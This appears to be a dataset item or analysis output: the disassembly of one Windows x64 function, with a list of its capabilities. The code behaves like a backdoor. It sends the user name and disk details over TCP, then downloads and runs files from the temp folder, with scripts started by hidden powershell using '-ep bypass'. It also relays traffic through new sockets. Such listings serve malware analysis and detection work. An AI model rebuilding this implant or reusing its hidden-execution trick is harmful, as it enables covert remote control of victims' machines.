Function at 0x180001e04
Capabilities:
Create tcp socket
Create thread
Get common file path
Get disk information
Get session user name
Get socket status
Set socket configuration

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0xdf8
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.180003a96
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0
mov rdx, 0
mov r8, 1
mov r9, 0
call qword [sym.imp.kernel32.dll_CreateEventA]
add rsp, 0x20
mov qword [rbp - 0xdc8], rax
cmp qword [rbp + 0x10], 0
je 0x180001eaf
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x10000
mov r8, 0x3000
mov r9, 4
call qword [sym.imp.kernel32.dll_VirtualAlloc]
add rsp, 0x20
test rax, rax
je 0x1800029b2
mov qword [rbp - 0xb0], rax
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x10000
mov r8, 0x3000
mov r9, 4
call qword [sym.imp.kernel32.dll_VirtualAlloc]
add rsp, 0x20
test rax, rax
je 0x1800029b2
mov qword [rbp - 0x120], rax
mov rdi, qword [rbp - 0x120]
mov qword [rdi], 0x100
sub rsp, 0x20
mov rcx, 2
lea rdx, [rdi + 0x52]
mov r8, rdi
call qword [sym.imp.secur32.dll_GetUserNameExA]
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x770]
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov r9, 0xa
call fcn.1800032ce
add rsp, 0x20
test rax, rax
je 0x1800029b2
mov qword [rbp - 0xc0], 2
mov qword [rbp - 0xb8], 4
mov dword [rbp - 0xde0], 1
mov dword [rbp - 0xddc], 0x927c0
mov dword [rbp - 0xdd8], 0x2710
sub rsp, 0x50
mov rcx, qword [rbp - 0x770]
movabs rdx, 0x98000004
lea r8, [rbp - 0xde0]
mov r9, 0xc
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp - 0xde8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
call qword [sym.imp.ws2_32.dll_WSAIoctl]
add rsp, 0x50
sub rsp, 0x20
lea rcx, [0x180006089]
lea rdx, [rdi + 0x1c]
mov r8, 0x32
call fcn.180003c36
add rsp, 0x20
sub rsp, 0x20
call fcn.1800030ae
add rsp, 0x20
mov word [rdi + 0x4e], ax
sub rsp, 0x20
call fcn.180003144
add rsp, 0x20
sub rax, 0x2000
test rax, rax
jle 0x18000201c
mov byte [rdi + 0x50], 2
mov byte [rdi + 0x51], 1
mov byte [rdi + 0x7b], 0
sub rsp, 0x40
mov rcx, 0
mov rdx, 0
mov r8, 0
lea r9, [rdi + 0x7c]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call qword [sym.imp.kernel32.dll_GetVolumeInformationA]
add rsp, 0x40
sub rsp, 0x20
lea rcx, [0x180006089]
mov rdx, 0x32
lea r8, [rdi + 0x4e]
mov r9, 0x32
call fcn.180002d91
add rsp, 0x20
mov rax, qword [rbp - 0x120]
add rax, 0x1c
sub rsp, 0x20
mov rcx, qword [rbp - 0x770]
mov rdx, rax
mov r8, 0x64
mov r9, 0
call fcn.180002a70
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0xd0]
lea rdx, [rbp - 0xe0]
mov r8, 8
call fcn.180003c36
add rsp, 0x20
cmp qword [rbp - 0xd0], 0
jne 0x1800021a6
cmp qword [rbp - 0x130], 4
je 0x1800021a6
sub rsp, 0x30
mov rcx, qword [rbp - 0x770]
mov rdx, 0
lea r8, [rbp - 0x118]
mov r9, 0x78
mov qword [rsp + 0x20], 0
call fcn.180002ff6
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
lea rdx, [rbp - 0x118]
mov r8, 0
mov r9, 0
lea rax, [rbp - 0x100]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp eax, 0
jl 0x1800029b2
cmp rax, 0
jne 0x1800021a6
cmp qword [rbp - 0x128], 0
jne 0x1800029b2
cmp qword [rbp - 0x130], 0
jne 0x1800029b2
mov qword [rbp - 0xe10], 1
jmp 0x1800020c5
mov rdi, qword [rbp - 0x120]
cmp qword [rbp - 0x128], 0
jne 0x1800021c5
cmp qword [rbp - 0x130], 4
jne 0x1800028ba
cmp word [rdi + 2], 0
jne 0x180002207
cmp byte [rdi], 0xff
jne 0x1800021e7
cmp byte [rdi + 1], 0xfe
jne 0x1800021e7
mov qword [rbp - 0xe18], 1
jmp 0x1800029b2
movzx ebx, byte [rdi + 1]
cmp qword [rbp + rbx*8 - 0x770], 0
je 0x180002202
mov qword [rbp + rbx*8 - 0x770], 0
jmp 0x1800028aa
cmp qword [rbp - 0xd0], 0
jne 0x18000226b
sub rsp, 0x20
mov rcx, qword [rbp - 0x770]
mov rdx, qword [rbp - 0xb0]
mov r8, 0x10000
mov r9, 0
call fcn.180002b91
add rsp, 0x20
test eax, eax
jle 0x1800029b2
mov qword [rbp - 0xd0], rax
sub rsp, 0x20
lea rcx, [rbp - 0xb0]
lea rdx, [rbp - 0xd8]
mov r8, 8
call fcn.180003c36
add rsp, 0x20
mov rdx, qword [rbp - 0x128]
movzx r12d, word [rdi + 2]
sub r12, rdx
cmp qword [rbp - 0xd0], r12
ja 0x18000228a
mov r12, qword [rbp - 0xd0]
sub rsp, 0x20
mov rcx, qword [rbp - 0xd8]
lea rdx, [rdx + rdi + 4]
mov r8, r12
call fcn.180003c36
add rsp, 0x20
add qword [rbp - 0xd8], r12
sub qword [rbp - 0xd0], r12
add qword [rbp - 0x128], r12
sub rsp, 0x20
lea rcx, [rbp - 0x128]
lea rdx, [rdi + 2]
mov r8, 2
call fcn.180003e15
add rsp, 0x20
cmp rax, 1
jne 0x1800028aa
movzx eax, word [rdi + 2]
sub rsp, 0x20
lea rcx, [0x180006089]
mov rdx, 0x32
lea r8, [rdi + 4]
mov r9, rax
call fcn.180002d91
add rsp, 0x20
movzx ebx, byte [rdi + 1]
cmp word [rdi], 0xffff
jne 0x180002686
mov rbx, qword [rbp - 0x120]
movzx eax, word [rbx + 2]
mov byte [rax + rbx + 4], 0
mov byte [rbp - 0xe28], 0x65
mov byte [rbp - 0xe27], 0x78
mov byte [rbp - 0xe26], 0x65
mov byte [rbp - 0xe25], 0
sub rsp, 0x20
lea rcx, [rbx + 8]
call fcn.180003c77
add rsp, 0x20
cmp dword [rax + rbx + 4], 0x7362762e
jne 0x18000237b
mov byte [rbp - 0xe28], 0x76
mov byte [rbp - 0xe27], 0x62
mov byte [rbp - 0xe26], 0x73
mov byte [rbp - 0xe25], 0
cmp dword [rax + rbx + 4], 0x7461622e
jne 0x1800023a1
mov byte [rbp - 0xe28], 0x62
mov byte [rbp - 0xe27], 0x61
mov byte [rbp - 0xe26], 0x74
mov byte [rbp - 0xe25], 0
cmp dword [rax + rbx + 4], 0x646d632e
jne 0x1800023c7
mov byte [rbp - 0xe28], 0x63
mov byte [rbp - 0xe27], 0x6d
mov byte [rbp - 0xe26], 0x64
mov byte [rbp - 0xe25], 0
cmp dword [rax + rbx + 4], 0x3173702e
jne 0x1800023ed
mov byte [rbp - 0xe28], 0x70
mov byte [rbp - 0xe27], 0x73
mov byte [rbp - 0xe26], 0x31
mov byte [rbp - 0xe25], 0
sub rsp, 0x20
lea rcx, [rbx + 8]
lea rdx, [rbp - 0xdb8]
call fcn.18000354f
add rsp, 0x20
cmp rax, 0x400
jle 0x18000266d
mov qword [rbp - 0xdc0], rax
mov rsi, qword [rbp - 0x120]
mov word [rsi + 2], 4
sub rsp, 0x20
lea rcx, [0x180006089]
mov rdx, 0x32
lea r8, [rsi + 1]
mov r9, 3
call fcn.180002d91
add rsp, 0x20
sub rsp, 0x20
lea rcx, [0x180006089]
mov rdx, 0x32
lea r8, [rsi + 4]
mov r9, 4
call fcn.180002d91
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x770]
lea rdx, [rsi + 1]
mov r8, 7
mov r9, qword [rbp - 0xdc8]
call fcn.180002a70
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0x200
mov rdx, qword [rbp - 0x120]
call qword [sym.imp.kernel32.dll_GetTempPathA]
add rsp, 0x20
lea rdi, [rax + rsi]
mov ax, 0x5c
stosb byte [rdi], al
sub rsp, 0x20
mov rcx, 4
call fcn.180003be4
add rsp, 0x20
lea rbx, [rax + 4]
sub rsp, 0x20
mov rcx, 0x18
call fcn.180003be4
add rsp, 0x20
add rax, 0x61
stosb byte [rdi], al
dec rbx
jne 0x1800024d4
mov ax, 0x2e
stosb byte [rdi], al
sub rsp, 0x20
lea rcx, [rbp - 0xe28]
call fcn.180003c77
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0xe28]
mov rdx, rdi
lea r8, [rax + 1]
call fcn.180003c36
add rsp, 0x20
sub rsp, 0x30
mov rcx, qword [rbp - 0x120]
mov rdx, qword [rbp - 0xdb8]
mov r8, qword [rbp - 0xdc0]
mov r9, 2
mov qword [rsp + 0x20], 0
call fcn.180003ad1
add rsp, 0x30
lea rdi, [rsi + 0x200]
mov r12, 0x13
sub rsp, 0x20
mov rcx, 0x18
call fcn.180003be4
add rsp, 0x20
add rax, 0x61
stosb byte [rdi], al
dec r12
jne 0x180002566
xor al, al
stosb byte [rdi], al
cmp dword [rbp - 0xe28], 0x317370
jne 0x180002632
sub rsp, 0x20
lea rcx, str._WindowStyle_Hidden__ep_bypass__file__
lea rdx, [rsi + 0x400]
mov r8, 0x26
call fcn.180003c36
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x120]
call fcn.180003c77
add rsp, 0x20
mov word [rax + rsi + 0x426], 0x22
sub rsp, 0x20
mov rcx, qword [rbp - 0x120]
lea rdx, [rsi + 0x426]
mov r8, rax
call fcn.180003c36
add rsp, 0x20
sub rsp, 0x30
lea rcx, [rsi + 0x200]
mov rdx, 0x14
lea r8, str.powershell
lea r9, [rsi + 0x400]
mov qword [rsp + 0x20], 1
mov qword [rsp + 0x28], 0
call fcn.180001042
add rsp, 0x30
jmp 0x18000266d
sub rsp, 0x30
lea rcx, [rsi + 0x200]
mov rdx, 0x14
mov r8, qword [rbp - 0x120]
mov r9, 0
mov qword [rsp + 0x20], 1
mov qword [rsp + 0x28], 0
call fcn.180001042
add rsp, 0x30
sub rsp, 0x20
lea rcx, [rbp - 0xdb8]
call fcn.180003a2c
add rsp, 0x20
jmp 0x18000289f
cmp byte [rdi], 0
jne 0x180002878
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x10000
mov r8, 0x3000
mov r9, 4
call qword [sym.imp.kernel32.dll_VirtualAlloc]
add rsp, 0x20
test rax, rax
je 0x1800029b2
mov rsi, rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, rsi
mov r8, 0x180
call fcn.180003c36
add rsp, 0x20
lea rax, [rbp - 0xdb0]
mov qword [rsi + 0x180], rax
mov qword [rsi + 0x188], rbx
sub rsp, 0x20
lea rcx, [rbp - 0xdc8]
lea rdx, [rsi + 0x190]
mov r8, 8
call fcn.180003c36
add rsp, 0x20
lea rax, [rbp - 0x770]
mov qword [rsi + 0x198], rax
mov qword [rsi + 0x1a0], rsi
lea rax, [rbp - 0xc0]
mov qword [rsi + 0x1a8], rax
lea rax, [rbp - 0xa0]
mov qword [rsi + 0x1b0], rax
lea rax, [rbp - 0x90]
mov qword [rsi + 0x1b8], rax
sub rsp, 0x20
lea rcx, [rbp - 0x60]
lea rdx, [rsi + 0x1c0]
mov r8, 8
call fcn.180003c36
add rsp, 0x20
lea rax, [rbp - 0x48]
mov qword [rsi + 0x1c8], rax
sub rsp, 0x20
lea rcx, [rbp - 0xa8]
lea rdx, [rsi + 0x1d0]
mov r8, 8
call fcn.180003c36
add rsp, 0x20
cmp byte [rsi + 7], 4
je 0x1800027cc
sub rsp, 0x20
mov rcx, 2
mov rdx, 1
mov r8, 6
call qword [sym.imp.ws2_32.dll_socket]
add rsp, 0x20
jmp 0x1800027ef
sub rsp, 0x20
mov rcx, 0x17
mov rdx, 1
mov r8, 6
call qword [sym.imp.ws2_32.dll_socket]
add rsp, 0x20
mov qword [rbp + rbx*8 - 0x770], rax
mov qword [rbp - 0xdd0], 1
sub rsp, 0x30
mov rcx, qword [rbp + rbx*8 - 0x770]
mov rdx, 6
mov r8, 1
lea r9, [rbp - 0xdd0]
mov qword [rsp + 0x20], 8
call qword [sym.imp.ws2_32.dll_setsockopt]
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
lea r8, [0x180001797]
mov r9, rsi
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.kernel32.dll_CreateThread]
add rsp, 0x30
mov qword [rbp + rbx*8 - 0xdb0], rax
jmp 0x18000289f
movzx eax, word [rdi + 2]
sub rsp, 0x20
mov rcx, qword [rbp + rbx*8 - 0x770]
lea rdx, [rdi + 4]
mov r8, rax
mov r9, 0
call fcn.180002a70
add rsp, 0x20
mov qword [rbp - 0x128], 0
mov qword [rbp - 0x130], 0
jmp 0x1800029ad
cmp qword [rbp - 0xd0], 0
jne 0x180002929
sub rsp, 0x20
mov rcx, qword [rbp - 0x770]
mov rdx, qword [rbp - 0xb0]
mov r8, 0x10000
mov r9, 0
call fcn.180002b91
add rsp, 0x20
test eax, eax
jle 0x1800029b2
mov qword [rbp - 0xe10], 1
mov qword [rbp - 0xd0], rax
sub rsp, 0x20
lea rcx, [rbp - 0xb0]
lea rdx, [rbp - 0xd8]
mov r8, 8
call fcn.180003c36
add rsp, 0x20
mov r12, qword [rbp - 0x130]
mov r13, 4
sub r13, qword [rbp - 0x130]
cmp qword [rbp - 0xd0], r13
jae 0x18000294e
mov r13, qword [rbp - 0xd0]
sub rsp, 0x20
mov rcx, qword [rbp - 0xd8]
lea rdx, [r12 + rdi]
mov r8, r13
call fcn.180003c36
add rsp, 0x20
add qword [rbp - 0xd8], r13
sub qword [rbp - 0xd0], r13
add qword [rbp - 0x130], r13
cmp qword [rbp - 0x130], 4
jne 0x1800029ad
sub rsp, 0x20
lea rcx, [0x180006089]
mov rdx, 0x32
mov r8, rdi
mov r9, 4
call fcn.180002d91
add rsp, 0x20
jmp 0x1800020c5
sub rsp, 0x20
mov rcx, qword [rbp - 0x770]
call fcn.180002c53
add rsp, 0x20
lea rsi, [rbp - 0x770]
mov rbx, 0xc8
mov qword [rsi], 0
add rsi, 8
dec rbx
jne 0x1800029d4
xor rax, rax
lea rdi, [rbp - 0xdb0]
mov rcx, 0xc8
repe scasd eax, dword [rdi]
jne 0x1800029e4
sub rsp, 0x20
mov rcx, qword [rbp - 0xdc8]
call qword [sym.imp.kernel32.dll_CloseHandle]
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0xb0]
call fcn.180003a2c
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x120]
call fcn.180003a2c
add rsp, 0x20
cmp qword [rbp - 0xe18], 1
jne 0x180002a55
sub rsp, 0x20
mov rcx, 0
call qword [sym.imp.kernel32.dll_ExitThread]
mov rax, qword [rbp - 0xe10]
add rsp, 0xdf8
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret